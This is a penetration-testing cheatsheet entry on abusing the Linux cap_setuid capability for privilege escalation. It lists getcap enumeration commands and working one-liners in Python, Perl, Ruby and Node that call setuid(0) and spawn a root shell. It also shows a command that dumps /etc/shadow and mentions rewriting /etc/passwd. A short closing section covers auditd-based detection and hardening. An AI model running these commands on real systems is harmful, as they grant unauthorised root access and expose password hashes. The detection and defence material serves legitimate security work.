cap_setuid capability abuse
Full command arsenal in the cheatsheetLinux capabilities split root's privileges into slices assignable to specific binaries, so you don't have to give them full root SUID. The cap_setuid capability grants one of those pieces: it lets the process change its UID to any value, including 0, without being root. On a general-purpose interpreter (Python, Perl, Ruby, Node...) this is equivalent to a root SUID, because the interpreter can call setuid(0) and then launch a shell.
Enumeration
Capabilities show in neither sudo -l nor among the classic SUIDs (find / -perm -4000), which is why they're overlooked. You enumerate them with getcap:
getcap -r / 2>/dev/null
# /usr/bin/python3.10 cap_setuid=ep/usr/sbin/getcap -r / 2>/dev/null # absolute path if getcap isn't in PATH
getcap $(which python3 perl ruby node php) 2>/dev/nullThe =ep suffix means effective + permitted: the capability is active. linpeas and pspy also report them, but getcap -r / is the direct route.
Exploitation
Set the UID to 0 and open a shell. The one-liner varies with the interpreter carrying the capability:
# Python
/usr/bin/python3.10 -c 'import os; os.setuid(0); os.system("/bin/bash")'
# Perl
/usr/bin/perl -e 'use POSIX qw(setuid); setuid(0); exec "/bin/bash";'
# Ruby
/usr/bin/ruby -e 'Process::Sys.setuid(0); exec "/bin/bash"'
# Node
/usr/bin/node -e 'process.setuid(0); require("child_process").spawnSync("/bin/bash",{stdio:[0,1,2]})'The same approach works for other dangerous capabilities: cap_dac_read_search (read any file bypassing permissions, e.g. /etc/shadow via python -c 'print(open("/etc/shadow").read())'), cap_dac_override (read and write any file, rewrite /etc/passwd or /etc/shadow), cap_sys_admin (almost everything) or cap_sys_ptrace (injection into root processes, see cap_sys_ptrace abuse). GTFOBins documents the concrete vector per binary.
Requirements
The capability must be effective or at least permitted (ep/p) on a binary that runs attacker-controllable code: an interpreter, or a binary that runs a manipulable command. A binary that only uses the capability for a fixed action (a service dropping privileges) isn't always exploitable.
How to detect it. The signature is a setuid(0) (or setresuid) call from a non-root process followed by spawning a shell, which a legitimate cap_setuid binary never does: auditd over the setuid/execve syscalls (-a always,exit -F arch=b64 -S setuid -S setresuid) or Sysmon for Linux catch the interpreter switching UID and launching bash. At rest, a periodic getcap -r / inventory that suddenly shows a capability on python/perl/ruby is a backdoor indicator. The lineage python3 -> bash with a UID transition from 1000 to 0 is the proof.
Defence. Assign capabilities only to binaries that genuinely need them and never to interpreters; review getcap -r / periodically; strip the capability with setcap -r <binary> once it is no longer needed. Related to SUID binary abuse and other Linux privilege paths.